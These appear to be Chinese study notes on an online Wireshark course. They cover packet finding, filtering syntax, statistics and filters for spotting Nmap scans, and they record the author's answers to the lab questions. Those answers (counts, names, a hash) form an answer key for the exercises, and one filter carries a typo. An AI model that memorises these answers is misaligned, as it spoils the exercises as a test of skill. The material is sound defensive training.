數據包編號不僅有助於統計數據包總數,還能方便地查找/分析特定數據包。此功能不僅可以上下導航數據包,還能進行幀內數據包跟蹤,並查找會話特定部分中的下一個數據包。您可以使用 “前往” 菜單和工具欄查看特定數據包。
查找數據包
除了數據包編號,Wireshark 還可以通過數據包內容查找數據包。您可以使用 “編輯 --> 查找數據包” 菜單在數據包中搜索特定事件。這有助於分析人員和管理員查找特定的入侵模式或故障軌跡。
查找數據包有兩個關鍵點。首先是瞭解輸入類型。此功能接受四種類型的輸入(顯示過濾器、十六進制、字符串和正則表達式)。字符串和正則表達式搜索是最常用的搜索類型。搜索默認不區分大小寫,但您可以通過單擊單選按鈕來設置搜索是否區分大小寫。
第二點是選擇搜索字段。您可以在三個窗格(數據包列表、數據包詳細信息和數據包字節)中進行搜索,瞭解每個窗格中可用的信息對於找到感興趣的事件至關重要。例如,如果您嘗試在數據包列表窗格中查找數據包詳細信息窗格中的信息,即使該信息存在,Wireshark 也找不到。
PS: 其實Ctrl+f 快捷鍵能快速喚出
標記包
標記數據包是分析人員的另一項實用功能。您可以通過標記來查找/定位特定數據包,以便進行深入調查。這有助於分析人員找到感興趣的事件或從捕獲的數據中導出特定數據包。您可以使用 “編輯” 或 “右鍵單擊” 菜單來標記/取消標記數據包。
無論原始連接類型代表的顏色是什麼,標記的數據包都將以黑色顯示。請注意,標記的數據包信息在每個文件會話期間都會更新,因此關閉捕獲文件後,標記的數據包將會丟失。
數據包註釋
與數據包標記類似,註釋是分析人員的另一項實用功能。您可以為特定數據包添加註釋,以幫助進一步調查,或提醒其他層分析人員注意重要/可疑之處。與數據包標記不同的是,註釋會一直保留在捕獲文件中,直到操作員將其刪除。
導出數據包
捕獲文件可能包含數千個數據包。如前所述,Wireshark 並非入侵檢測系統 (IDS),因此有時需要從文件中提取特定數據包並進行深入分析以解決安全事件。此功能有助於分析人員僅共享可疑數據包(已確定範圍)。這樣,冗餘信息就不會被納入分析過程。您可以使用 “文件” 菜單導出數據包。
導出對象(文件)
Wireshark 可以提取通過網絡傳輸的文件。對於安全分析師而言,發現共享文件並將其保存以供進一步調查至關重要。導出對象功能僅適用於特定協議流(DICOM、HTTP、IMF、SMB和 TFTP)。
時間顯示格式
Wireshark 會列出捕獲到的數據包,因此分析默認流並非總是最佳選擇。默認情況下,Wireshark 以“自捕獲開始以來的秒數”顯示時間,通常使用UTC時間顯示格式以獲得更佳的視圖。您可以使用 “視圖 --> 時間顯示格式” 菜單更改時間顯示格式。
專家信息
Wireshark 還能檢測協議的特定狀態,幫助分析人員輕鬆發現潛在的異常和問題。請注意,這些只是建議,始終存在誤報/漏報的可能性。專家信息可以提供三個不同嚴重程度的類別。詳情見下表。
| 嚴重程度 | 顏色 | 信息 |
|---|---|---|
| 聊天 | 藍色的 | 常規工作流程信息。 |
| 筆記 | 青色 | 值得注意的事件,例如應用程序錯誤代碼。 |
| 警告 | 黃色的 | 警告信息,例如異常錯誤代碼或問題描述。 |
| 錯誤 | 紅色的 | 例如數據包格式錯誤之類的問題。 |
下表列出了常用信息組。有關專家信息條目的更多信息,請參閲Wireshark 的官方文檔。
| 團體 | 信息 | 團體 | 信息 |
|---|---|---|---|
| 校驗和 | 校驗和錯誤 | 已棄用 | 已棄用的協議用法 |
| 評論 | 數據包註釋檢測 | 畸形 | 畸形數據包檢測 |
您可以使用狀態欄 左下角區域或“分析 --> 專家信息” 菜單,通過對話框查看所有可用信息條目。它會顯示數據包編號、摘要、組協議和總髮生次數。
請回答以下問題。
請使用“Exercise.pcapng”文件回答問題。在數據包詳情中搜索字符串“r4w”。藝術家1的名字是什麼?
r4w8173
轉到第 12 個數據包並閲讀數據包註釋。答案是什麼?
注意:使用 終端命令 md5sum <文件名> 獲取 MD5 哈希值。
導出這個照片
計算md5
911cd574a42865a956ccde2d04495ebf
捕獲文件中包含一個 “.txt” 文件。找到該文件並閲讀;外星人的名字是什麼?
同理保存該文件,然後我們cat一下
packetmaster
請查看專家信息部分。警告數量是多少?
Go to Analyze>Expert Information
黃色是告警
數據包過濾
數據包過濾
Wireshark 擁有強大的過濾引擎,可以幫助分析人員縮小流量範圍,專注於感興趣的事件。Wireshark 提供兩種過濾方式:捕獲過濾器和顯示過濾器。捕獲過濾器用於 “捕獲” 符合指定過濾器條件的數據包。顯示過濾器用於 “查看” 符合指定過濾器條件的數據包。我們將在下一節課討論這些過濾器的區別和高級用法。現在,讓我們重點介紹顯示過濾器的基本用法,這將對分析人員的工作大有裨益。
過濾器是專為 Wireshark 官方協議參考中提供的協議而設計的特定查詢。雖然過濾器只是用於調查感興趣事件的一種方式,但有兩種不同的方法可以過濾流量並從捕獲文件中去除噪聲。第一種方法是使用查詢,第二種方法是使用右鍵菜單。Wireshark 提供了一個強大的圖形用户界面(GUI),對於不想為基本任務編寫查詢的分析人員來説,有一條黃金法則: “只要你能點擊它,你就能過濾和複製它。”
應用為篩選器
這是過濾流量最基本的方法。在分析捕獲文件時,您可以點擊想要過濾的字段,然後使用“右鍵菜單”或 “分析 --> 應用為過濾器” 菜單來過濾特定值。應用過濾器後,Wireshark 將生成所需的過濾查詢並應用,根據您的選擇顯示數據包,並將未選擇的數據包從數據包列表窗格中隱藏。請注意,狀態欄始終會顯示數據包總數和已顯示數據包的數量。
簡單來説就是根據對應的字段
對話過濾器
使用“應用為過濾器”選項時,您只會過濾數據包中的單個實體。此選項非常適合查找數據包中的特定值。但是,假設您想要通過關注 IP 地址和端口號來查找特定數據包編號及其所有關聯數據包,那麼“會話過濾器”選項可以幫助您輕鬆查看相關數據包並隱藏其餘數據包。您可以使用“右鍵單擊菜單”或“分析 --> 會話過濾器”菜單來過濾會話。
為對話着色
此選項與“會話過濾器”類似,但有一點不同。它會高亮顯示已鏈接的數據包,而不會應用顯示過濾器或減少已查看的數據包數量。此選項與“着色規則”選項配合使用,會在不考慮先前應用的顏色規則的情況下更改數據包顏色。您可以使用“右鍵單擊菜單”或 “視圖 --> 為會話着色” 菜單,一鍵為已鏈接的數據包着色。請注意,您可以使用 “視圖 --> 為會話着色 --> 重置着色” 菜單撤銷此操作。
就是可以為你這個會話進行顏色標記,讓你更容易看清楚,這個就是你跟蹤tcp或者http流量一樣,把每一個包都着色標記出來讓你識別。
準備作為過濾器
與“應用為篩選器”類似,此選項可幫助分析人員使用“右鍵單擊”菜單選擇:準備作為過濾器。但是,與前者不同的是,此模型不會在選擇後立即應用篩選器。它會將所需的查詢添加到窗格中,正如下圖所示,你會看到已經添加了一個篩選規則上去,但是還沒應用而已,需要你確定或者添加更多篩選規則進去
作為列應用
默認情況下,數據包列表窗格提供每個數據包的基本信息。您可以使用“右鍵單擊菜單”或“分析 --> 應用為列”菜單向數據包列表窗格添加列。單擊某個值並將其應用為列後,該列將顯示在數據包列表窗格中。此功能有助於分析人員檢查捕獲文件中可用數據包中特定值/字段的出現情況。您可以通過單擊數據包列表窗格頂部來啓用/禁用其中顯示的列。
跟蹤流
Wireshark 以數據包大小的形式顯示所有內容。然而,可以重構數據流,並查看應用層呈現的原始流量。遵循協議,數據流有助於分析人員重現應用層數據,並瞭解感興趣的事件。此外,還可以查看未加密的協議數據,例如用户名、密碼和其他傳輸的數據。
您可以使用“右鍵菜單”或 “分析 --> 跟蹤TCP / UDP / HTTP流” 菜單來跟蹤流量。流量會顯示在單獨的對話框中;來自服務器的數據包以藍色高亮顯示,來自客户端的數據包以紅色高亮顯示。
跟蹤某個數據流後,Wireshark 會自動創建並應用所需的過濾器來查看該數據流。請注意,應用過濾器後,顯示的包數量會發生變化。您需要使用位於顯示過濾器欄右上角的 “ X ” 按鈕來移除顯示過濾器,並查看捕獲文件中所有可用的包。
請回答以下問題。
請使用“ Exercise.pcapng ”文件回答問題。
轉到第4個數據包。右鍵單擊“超文本傳輸協議”,並將其應用為篩選器。
現在,查看篩選器窗格。篩選查詢是什麼?
http
顯示的包數量是多少?
1089
找到數據包編號33790 , 跟蹤 HTTP 流,仔細查看響應。
根據 Web 服務器的響應,藝術家總數是多少?
3
第二位藝術家的名字是什麼?
Blad3
Wireshark:數據包操作
介紹
在本房間中,我們將介紹使用 Wireshark 進行數據包分析的基礎知識,並從數據包級別分析感興趣的事件。
- 學習目標
- 調查網絡流量捕獲
- 查看統計數據,包括摘要和方案詳情
- 揭示並應用數據包過濾原理
- 應用協議過濾器
- 應用高級篩選
統計數據 | 摘要
統計數據
此菜單提供多種統計選項,方便用户進行分析,從而瞭解流量範圍、可用協議、端點和會話等整體情況,以及一些協議特定細節,例如DHCP、DNS和HTTP /2。對於安全分析師而言,瞭解如何利用這些統計信息至關重要。本部分提供已處理pcap文件的簡要概述,幫助分析師為調查建立假設。您可以使用 “統計” 菜單查看所有可用選項。現在啓動指定的虛擬機,打開 Wireshark,加載“Exercise.pcappng”文件,並按照步驟進行操作。
已解析地址
此選項通過提供已解析地址及其主機名的列表,幫助分析人員識別捕獲文件中可用的 IP 地址和DNS名稱。請注意,主機名信息取自捕獲文件中的DNS應答。分析人員可以使用此菜單快速識別已訪問的資源。因此,他們可以快速發現已訪問的資源,並根據感興趣的事件對其進行評估。您可以使用 “統計信息 --> 已解析地址” 菜單查看 Wireshark 解析的所有地址。
協議層次結構
此選項會將捕獲文件中所有可用協議進行細分,並幫助分析人員根據數據包計數器和百分比以樹狀視圖查看這些協議。因此,分析人員可以查看端口和服務的總體使用情況,並專注於感興趣的事件。上一節中提到的黃金法則在本節中同樣適用;您可以右鍵單擊並篩選感興趣的事件。您可以使用 “統計信息 --> 協議層次結構”。
會話
會話代表兩個特定端點之間的通信流量。此選項以五種基本格式(以太網、IPv4、IPv6、 TCP和UDP)列出會話。因此,分析人員可以識別所有會話並聯系感興趣的事件的端點。您可以使用“統計信息 --> 會話”菜單查看此信息。
終點
“端點”選項與“會話”選項類似。唯一的區別在於,此選項針對單個信息字段(以太網、IPv4、IPv6、TCP和UDP)提供唯一信息。因此,分析人員可以識別捕獲文件中的唯一端點,並將其用於感興趣的事件。您可以使用“統計信息 --> 端點”菜單查看此信息。
Wireshark 還支持使用 IEEE 分配的製造商名稱將 MAC 地址解析為人類可讀的格式。請注意,此轉換僅使用 MAC 地址的前三個字節,並且僅適用於已知的製造商。在查看以太網端點時,您可以通過端點窗口左下角的 “名稱解析”按鈕啓用此選項。
名稱解析不僅限於 MAC 地址。Wireshark 也提供 IP 地址和端口名稱解析選項。但是,這些選項默認情況下未啓用。如果您想使用這些功能,需要通過 “編輯 --> 首選項 --> 名稱解析” 菜單將其激活。啓用 IP 地址和端口名稱解析後,您將在數據包列表窗格中看到解析後的 IP 地址和端口名稱,也可以在“會話”和“端點”菜單中查看解析後的名稱。
帶有名稱解析的端點菜單視圖:
除了名稱解析之外,Wireshark 還提供 IP 地理位置映射功能,幫助分析人員識別地圖的源地址和目標地址。但此功能默認情況下未啓用,需要 GeoIP 數據庫等補充數據。目前,Wireshark 支持 MaxMind 數據庫,最新版本的 Wireshark 已預裝 MaxMind 數據庫解析器。不過,您仍然需要 MaxMind 數據庫文件,並通過“編輯 --> 首選項 --> 名稱解析 --> MaxMind 數據庫目錄”菜單向 Wireshark 提供數據庫路徑。下載並指定路徑後,Wireshark 將自動在 IP 協議詳細信息下提供匹配 IP 地址的 GeoIP 信息。
端點和 GeoIP 視圖:
注意:您需要連接互聯網才能查看 GeoIP 地圖。
請回答以下問題
調查已解析的地址。主機名以“bbc”開頭的IP地址是什麼?
統計->地址解析,搜索bbc即可
199.232.24.81
IPv4 會話數是多少?
435
從“Micro-St”MAC地址傳輸了多少字節(k)?
打開端點查看即可
7474
與“Kansas City”關聯的 IP 地址數量是多少?
4
與“Blicnet”AS組織關聯的IP地址是什麼?
188.246.82.7
統計數據 | 協議詳情
IPv4 和 IPv6
到目前為止,幾乎所有選項都提供了包含兩種IP地址版本的信息。統計菜單提供了兩個選項,用於篩選包含特定IP版本的包統計信息。因此,分析人員可以在一個窗口中識別並列出所有與特定IP版本關聯的事件,並將其用於感興趣的事件。您可以使用“統計信息 --> IPvX統計信息”菜單查看此信息。
DNS
此選項會將捕獲文件中的所有DNS數據包進行細分,並幫助分析人員根據數據包計數器和DNS協議百分比以樹狀視圖查看分析結果。因此,分析人員可以查看DNS服務的總體使用情況,包括 rcode、opcode、class、query type、服務和查詢統計信息,並將其用於感興趣的事件。您可以使用 “統計信息 --> DNS ” 菜單查看此信息。
HTTP
此選項會將捕獲文件中的所有HTTP數據包進行細分,並幫助分析人員根據數據包計數器和HTTP協議百分比以樹狀視圖查看分析結果。因此,分析人員可以查看HTTP服務的總體使用情況,包括請求和響應代碼以及原始請求。您可以使用 “統計信息 --> HTTP ” 菜單查看此信息。
請回答以下問題
最常用的IPv4目標地址是什麼?
打開目標地址和端口,點擊排序一下即可知道誰的百分比佔最多
10.100.1.33
DNS數據包的最大服務請求-響應時間是多少?
0.467897
“rad[.]msn[.]com”完成了多少個HTTP請求?
點開dns的統計,然後找到該域名,往右邊劃
就能看到計數了
39
數據包過濾 | 原理
在上一節課(Wireshark:基礎篇)中,我們講解了數據包過濾以及如何在不使用查詢的情況下過濾數據包。本節課我們將使用查詢來過濾數據包。如前所述,Wireshark 中有兩種類型的過濾器。雖然它們的語法相似,但用途不同。讓我們回顧一下這兩種過濾器的區別。
| 捕獲過濾器 | 這種類型的過濾器用於僅保存流量的特定部分。它在捕獲流量之前設置,並且在捕獲過程中無法更改。 |
|---|---|
| 顯示篩選器 | 這種類型的過濾器用於通過減少可見數據包的數量來調查數據包,並且在捕獲過程中可以更改。 |
注意: 您不能使用顯示篩選表達式來捕獲流量,反之亦然。
典型的使用場景是捕獲所有數據包,然後根據感興趣的事件進行過濾。只有經驗豐富的專業人員才會使用捕獲過濾器並嗅探流量。這就是為什麼 Wireshark 在顯示過濾器中支持更多協議類型的原因。請務必在實際環境中使用捕獲過濾器之前,徹底瞭解如何使用它們。記住,如果您的捕獲過濾器與您要查找的特定流量模式不匹配,您將無法捕獲到感興趣的事件。
捕獲過濾器語法
這些過濾器使用字節偏移量、十六進制值和掩碼以及布爾運算符,因此乍一看並不容易理解/預測其用途。基本語法解釋如下:
- Scope作用域: 主機、網絡、端口和端口範圍。
- Direction方向: 源、目標、源或目標、源和目標,
- Protocol協議: 以太網、WLAN、IP、IP6、ARP、RARP、TCP和UDP。
- 用於捕獲端口 80 流量的示例過濾器:
tcp port 80
您可以點擊 此處:https://www.wireshark.org/docs/man-pages/pcap-filter.html 和 此處:https://gitlab.com/wireshark/wireshark/-/wikis/CaptureFilters#useful-filters閲讀更多關於捕獲過濾器語法的信息。快速參考指南位於 “捕獲 --> 捕獲過濾器” 菜單下。
顯示篩選語法
這是 Wireshark 最強大的功能。它支持 3000 種協議,並允許在協議分類下進行數據包級別的搜索。官方的“顯示過濾器參考:https://www.wireshark.org/docs/dfref/”提供了所有受支持的協議分類,方便進行過濾。
- 用於捕獲端口 80 流量的示例過濾器:
tcp.port == 80
Wireshark 內置了一個選項(顯示過濾器表達式),用於存儲所有受支持的協議結構,以幫助分析人員創建顯示過濾器。我們稍後會介紹“顯示過濾器表達式”菜單。現在,讓我們來了解一下顯示過濾器操作的基本原理。您可以在 “分析 --> 顯示過濾器” 菜單下找到快速參考。
比較運算符
您可以使用不同的比較運算符創建顯示篩選器,以查找感興趣的事件。主要運算符如下表所示。
| 英語 | C 類 | 描述 | 例子 |
|---|---|---|---|
| 方程 | == | 平等的 | ip.src == 10.10.10.100 |
| ne | != | 不等於 | ip.src != 10.10.10.100 |
| gt | > | 大於 | ip.ttl > 250 |
| lt | < | 少於 | ip.ttl < 10 |
| ge | >= | 大於或等於 | ip.ttl >= 0xFA |
| 勒 | <= | 小於或等於 | ip.ttl <= 0xA |
注意: Wireshark 支持使用十進制和十六進制值進行過濾。您可以根據搜索需要使用任何格式。
邏輯表達式
Wireshark 支持布爾語法。您也可以使用邏輯運算符創建顯示過濾器。
| 英語 | C 類 | 描述 | 例子 |
|---|---|---|---|
| 和 | && | 邏輯和 | (ip.src == 10.10.10.100) AND (ip.src == 10.10.10.111) |
| 或者 | || | 邏輯或 | (ip.src == 10.10.10.100) OR (ip.src == 10.10.10.111) |
| 不是 | ! | 邏輯非 | !(ip.src == 10.10.10.222)
注意:已棄用 此用法 !=value ;使用它可能會導致結果不一致。!(value) 建議使用另一種樣式以獲得更一致的結果。 |
數據包過濾工具欄
篩選工具欄用於創建和應用顯示篩選器。它是一個智能工具欄,可幫助您輕鬆創建有效的顯示篩選器。在開始篩選數據包之前,以下是一些提示:
- 數據包過濾器以小寫字母定義。
- 數據包過濾器具有自動完成功能,可以分解協議細節,每個細節都用一個“點”表示。
- 數據包過濾器採用三色表示法,具體説明如下。
| 綠色的 | 有效篩選器 |
|---|---|
| 紅色的 | 無效篩選器 |
| 黃色的 | 警告:此過濾器雖然可用,但並不穩定,建議更換為有效的過濾器。 |
| 篩選工具欄功能如下所示。 | |
| 我們已經學習了很多原理和語法。接下來,讓我們將這些知識付諸實踐,開始在下一個任務中過濾數據包。 |
數據包過濾 | 協議過濾器
如前文所述,Wireshark 支持 3000 種協議,並允許通過過濾協議字段進行數據包級別的分析。本任務將演示如何創建和使用針對不同協議字段的過濾器。
IP過濾器
IP過濾器幫助分析人員根據數據包中的IP層信息(OSI模型的網絡層)過濾流量。這是Wireshark中最常用的過濾器之一。這些過濾器會過濾網絡層信息,例如IP地址、版本、生存時間、服務類型、標誌位和校驗和值。
常用篩選條件如下表所示。
| 篩選 | 描述 |
|---|---|
ip |
顯示所有IP數據包。 |
ip.addr == 10.10.10.111 |
顯示所有包含 IP 地址 10.10.10.111 的數據包。 |
ip.addr == 10.10.10.0/24 |
顯示所有包含來自 10.10.10.0/24 子網的 IP 地址的數據包。 |
ip.src == 10.10.10.111 |
顯示所有源自 10.10.10.111 的數據包 |
ip.dst == 10.10.10.111 |
顯示發送到 10.10.10.111 的所有數據包 |
| ip.addr 與 ip.src/ip.dst | 注意: ip.addr 過濾流量時不考慮數據包方向。ip.src/ip.dst 則根據數據包方向進行過濾。 |
TCP 和 UDP 過濾器
TCP過濾器幫助分析人員根據數據包中的協議層信息(OSI模型的傳輸層)過濾流量。這些過濾器會過濾傳輸協議層的信息,例如源端口和目標端口、序列號、確認號、窗口大小、時間戳、標誌、長度和協議錯誤。
| 篩選 | 描述 | 篩選 | 表達 |
|---|---|---|---|
tcp.port == 80 |
顯示所有端口為 80 的 TCP數據包 | udp.port == 53 |
顯示所有端口為 53 的UDP數據包 |
tcp.srcport == 1234 |
顯示所有源自端口 1234 的TCP數據包 | udp.srcport == 1234 |
顯示所有源自端口 1234 的UDP數據包 |
tcp.dstport == 80 |
顯示發送到端口 80 的所有TCP數據包 | udp.dstport == 5353 |
顯示發送到端口 5353 的所有UDP數據包 |
應用層協議過濾器 | HTTP 和 DNS
應用層協議過濾器幫助分析人員根據數據包中的應用層協議信息(OSI 模型的應用層)過濾流量。這些過濾器根據協議類型過濾特定於應用層的信息,例如有效載荷和鏈路數據。
| 篩選 | 描述 | 篩選 | 描述 |
|---|---|---|---|
http |
顯示所有HTTP數據包 | dns |
顯示所有DNS數據包 |
http.response.code == 200 |
顯示所有HTTP響應代碼為“200”的數據包 | dns.flags.response == 0 |
顯示所有DNS請求 |
http.request.method == "GET" |
顯示所有HTTP GET 請求 | dns.flags.response == 1 |
顯示所有DNS響應 |
http.request.method == "POST" |
顯示所有HTTP POST 請求 | dns.qry.type == 1 |
顯示所有DNS “A”記錄 |
顯示篩選表達式
如前所述,Wireshark 內置了一個選項(顯示過濾器表達式),其中存儲了所有受支持的協議結構,以幫助分析人員創建顯示過濾器。當分析人員記不清特定協議所需的過濾器,或者不確定過濾器的可賦值時,“顯示過濾器表達式”菜單提供了一個易於使用的顯示過濾器構建指南。該 菜單位於 “分析 --> 顯示過濾器表達式” 下 。
要記住每種協議的所有顯示過濾器細節是不可能的。每種協議都可能包含不同的字段,並接受各種類型的值。“顯示過濾器表達式” 菜單會顯示所有協議字段、接受的值類型(整數或字符串)以及預定義值(如有)。請注意,掌握創建過濾器和學習協議過濾器字段需要時間和練習。
這種就是在你不知道怎麼寫語法過濾的時候才選擇這種方式,找協議,然後過濾,所以説才會叫你若不想用這種方式就需要你大量練習,瞭解語法
請回答以下問題
IP數據包的數量是多少?
篩選ip即可
81420
TTL 值小於 10 的數據包數量是多少?
篩選:ip.ttl < 10
66
使用“TCP端口4444”的數據包數量是多少?
篩選:tcp.prot == 4444
632
發送到端口“80”的“HTTP GET”請求數量是多少?
篩選:tcp.port == 80 and http.request.method == GET
注意:這個GET一定要大寫,小寫試過了,不行
527
A類DNS查詢的數量是多少?
篩選:dns.a
51
高級篩選
到目前為止,您已經學習了數據包過濾操作的基礎知識。現在是時候關注特定事件的數據包細節了。除了上一節課介紹的運算符和表達式之外,Wireshark 還提供了高級運算符和函數。這些高級過濾選項可以幫助分析人員對感興趣的事件進行深入分析。
篩選條件:“包含”
| 篩選 | 包含 |
|---|---|
| 類型 | 比較算子 |
| 描述 | 在數據包中搜索值。它區分大小寫,並通過聚焦於特定字段提供類似於“查找”選項的功能。 |
| 例子 | 查找所有“ Apache ”服務器。 |
| 工作流程 | 列出所有HTTP數據包,其中數據包的“server”字段包含“ Apache ”關鍵字。 |
| 用法 | http.server contains "Apache" |
篩選條件:“匹配”
| 篩選 | 比賽 |
|---|---|
| 類型 | 比較算子 |
| 描述 | 搜索符合正則表達式模式的內容。搜索不區分大小寫,但複雜查詢存在一定的誤差範圍。 |
| 例子 | 查找所有 .php 和 .html 頁面。 |
| 工作流程 | 列出所有 HTTP 數據包,其中數據包的“host”字段與關鍵字“.php”或“.html”匹配。 |
| 用法 | http.host matches "\.(php|html)" |
篩選條件:“in”
| 篩選 | 在 |
|---|---|
| 類型 | 成員資格 |
| 描述 | 在特定範圍/範圍內搜索值或字段。 |
| 例子 | 查找所有使用端口 80、443 或 8080 的數據包。 |
| 工作流程 | 列出所有 TCP 數據包,其中數據包的“端口”字段的值為 80、443 或 8080。 |
| 用法 | tcp.port in {80 443 8080} |
篩選條件:“大寫”
| 篩選 | 大寫 |
|---|---|
| 類型 | 功能 |
| 描述 | 將字符串值轉換為大寫。 |
| 例子 | 查找所有“APACHE”服務器。 |
| 工作流程 | 將所有 HTTP 數據包的“server”字段轉換為大寫,並列出包含“APACHE”關鍵字的數據包。 |
| 用法 | upper(http.server) contains "APACHE" |
篩選條件:“小寫”
| 篩選 | 小寫 |
|---|---|
| 類型 | 功能 |
| 描述 | 將字符串值轉換為小寫。 |
| 例子 | 查找所有“ apache ”服務器。 |
| 工作流程 | 將所有 HTTP 數據包的“server”字段信息轉換為小寫,並列出包含“ apache ”關鍵字的數據包。 |
| 用法 | lower(http.server) contains "apache" |
篩選條件:“轉字符串匹配”
| 篩選 | 轉字符串匹配 |
|---|---|
| 類型 | 功能 |
| 描述 | 將非字符串值轉換為字符串。 |
| 例子 | 找出所有數字為奇數的幀。 |
| 工作流程 | 將所有“幀編號”字段轉換為字符串值,並將幀列表以奇數值結尾。 |
| 用法 | string(frame.number) matches "[13579]$" |
書籤和篩選按鈕
我們已經介紹了各種篩選選項、運算符和函數。現在是時候創建篩選器並將其保存為書籤和按鈕,以便日後使用。如前所述,篩選工具欄有一個篩選書籤部分,用於保存用户創建的篩選器,這有助於分析師只需點擊幾下即可重複使用常用或複雜的篩選器。與書籤類似,您也可以創建篩選按鈕,只需單擊一下即可應用。
創建和使用書籤:
創建和使用顯示篩選按鈕:
簡介
Wireshark 是一款多功能工具,可幫助分析人員進行深入的數據包分析。正如我們在討論中提到的,分析特定事件需要配置多個偏好設置。如果每次調查都需要重新更改配置,這非常繁瑣,因為每個案例都需要不同的顏色規則和過濾按鈕。這時,Wireshark 配置文件就派上了用場。您可以為不同的調查案例創建多個配置文件,並根據需要使用它們。您可以使用 “編輯 --> 配置配置文件” 菜單或 “狀態欄右下角 --> 配置文件” 部分來創建、修改和更改配置文件。
請回答以下問題
查找所有 Microsoft IIS 服務器。有多少個數據包並非源自“端口 80”?
篩選:http.server contains "IIS" && tcp.srcport != 80
21
查找所有 Microsoft IIS 服務器。版本號為“7.5”的數據包數量是多少?
篩選:http.server contains "IIS" && http.server contains "7.5"
71
使用端口 3333、4444 或 9999 的數據包總數是多少?
這裏題目沒有説清楚是tcp協議
篩選:tcp.port in {3333 4444 9999}
2235
TTL 值為偶數的包有多少個?
用正則匹配偶數,前提需要將ttl轉為string
匹配模式是:以0248結尾的就是偶數了
篩選:string(ip.ttl) matches "[02468]$"
77289
將配置文件更改為“校驗和控制”。“錯誤的 TCP 校驗和”數據包 有多少個?
選擇一下該配置:
然後編輯他,修改為:錯誤的 TCP 校驗
篩選:tcp.checksum.status == 0
34185
使用現有的過濾按鈕過濾流量。顯示的包數量是多少?
261
Wireshark:流量分析
我們將深入分析並關聯數據包級信息,從而瞭解網絡流量的全貌,例如檢測異常和惡意活動。對於安全分析師而言,運用自身知識和工具功能來攔截並理解數據包中散佈的信息至關重要。本節課將講解如何結合分析師知識和 Wireshark 的功能,針對特定案例,分析數據包級細節,從而檢測異常和異常情況。
Nmap掃描
Nmap是一款業界標準的網絡映射工具,用於識別活動主機和服務。作為最常用的網絡掃描工具之一,安全分析師應識別其生成的網絡模式。本節將介紹最常見的Nmap掃描類型。
- TCP連接掃描
- SYN掃描
- UDP掃描
瞭解Nmap掃描的工作原理對於發現網絡上的掃描活動至關重要。然而,如果不使用正確的過濾器,就無法理解掃描的詳細信息。以下是用於探測網絡上 Nmap掃描行為的基本過濾器。
TCP標誌簡述:
| 筆記 | Wireshark 過濾器 |
|---|---|
| 全局搜索。 | - tcp
- udp |
| - 僅 SYN 標誌。
- SYN 標誌位已置位。其餘位並不重要。 |
- tcp.flags == 2
- tcp.flags.syn == 1 |
| - 僅 ACK 標誌。
- ACK 標誌位已置位。其餘位並不重要。 |
- tcp.flags == 16
- tcp.flags.ack == 1 |
| - 僅 SYN、ACK 標誌。
- SYN 和 ACK 已置位。其餘位並不重要。 |
- tcp.flags == 18
- (tcp.flags.syn == 1) and (tcp.flags.ack == 1) |
| - 僅RST標誌。
- RST標誌位已置位。其餘位並不重要。 |
- tcp.flags == 4
- tcp.flags.reset == 1 |
| - 僅包含 RST 和 ACK 標誌。
- RST 和 ACK 位已置位。其餘位並不重要。 |
- tcp.flags == 20
- (tcp.flags.reset == 1) and (tcp.flags.ack == 1) |
| - 僅 FIN 標誌
- FIN 標誌已置位。其餘位並不重要。 |
- tcp.flags == 1
- tcp.flags.fin == 1 |
TCP連接掃描
TCP連接掃描簡述:
- 依賴於三次握手(需要完成握手過程)。
- 通常以
nmap -sT命令形式執行。 - 供非特權用户使用(非 root 用户的唯一選項)。
- 由於協議的特性,請求通常需要一些數據,因此窗口大小通常大於 1024 字節。
| 打開 TCP 端口 | 打開 TCP 端口
|
TCP端口已關閉 |
|---|---|---|
| - 同步 -->
- <-- SYN,ACK - ACK --> |
- 同步 -->
- <-- SYN,ACK - ACK --> - RST,ACK --> |
- 同步 -->
- <-- RST,ACK |
下圖展示了TCP端口打開和關閉的三次握手過程。為了便於調查和理解每個案例的細節,圖片和pcap樣本已被分割。
打開 TCP 端口(連接):
TCP端口已關閉(連接):
以上圖像展示了孤立流量中的模式。然而,在大型捕獲文件中發現這些模式並非易事。因此,分析人員需要使用通用過濾器來查看初始異常模式,然後更容易將注意力集中在特定的流量點上。給定的過濾器顯示了捕獲文件中的 TCP 連接掃描模式。
tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024
同步掃描
TCP SYN 掃描簡述:
- 不依賴於三次握手(無需完成握手過程)。
- 通常以
nmap -sS命令形式執行。 - 僅供特權用户使用。
- 通常大小小於或等於 1024 字節,因為請求尚未完成,並且預計不會收到數據。
| 打開 TCP 端口 | 關閉 TCP 端口 |
|---|---|
| - 同步 -->
- <-- 同步,確認 - RST--> |
- 同步 -->
- <-- RST,ACK |
打開 TCP 端口(SYN):
TCP端口已關閉(SYN):
給定的過濾器顯示 捕獲文件中的TCP SYN 掃描模式。
tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size <= 1024
UDP掃描
UDP掃描簡述:
- 不需要握手過程
- 沒有打開端口的提示
- 端口關閉的 ICMP 錯誤消息
- 通常以
nmap -sU命令形式執行。
| 打開UDP端口 | UDP端口已關閉 |
|---|---|
| - UDP數據包 --> | - UDP數據包 -->
- ICMP 類型 3,代碼 3 消息。(目標不可達,端口不可達) |
已關閉(端口 69)和已開放(端口 68)的 UDP端口:
上圖顯示,關閉的端口返回了一個 ICMP 錯誤數據包。乍一看,並沒有提供關於該錯誤的更多信息,那麼分析人員如何確定此錯誤消息的歸屬呢?ICMP 錯誤消息使用原始請求作為封裝數據來顯示數據包的來源/原因。展開數據包詳細信息窗格中的 ICMP 部分後,您將看到封裝數據和原始請求,如下圖所示。
給定的過濾器顯示捕獲文件中的UDP掃描模式。
icmp.type==3 and icmp.code==3
檢測分塊文件中的可疑活動很容易,也是學習如何關注細節的好方法。
現在,請使用該"~/Desktop/exercise-pcaps/nmap/Exercise.pcapng"文件,將您的技能應用於單個捕獲文件,並回答以下問題!
TCP 連接掃描的總次數是多少?
篩選:tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024
1000
掃描 TCP 端口 80 使用的是哪種掃描類型?
TCP Connect
有多少條“UDP 關閉端口”消息?
篩選:icmp.type == 3 and icmp.code == 3
1083
55-70端口範圍內的哪個UDP端口是開放的?
篩選:udp.port in {55..70}
注意,這裏查看的是端口開放,看他目的地端口,然後連接成功的,而不是看個數哈,別搞錯了
68
ARP投毒攻擊和中間人攻擊!
ARP欺騙/中和攻擊(又稱中間人攻擊)
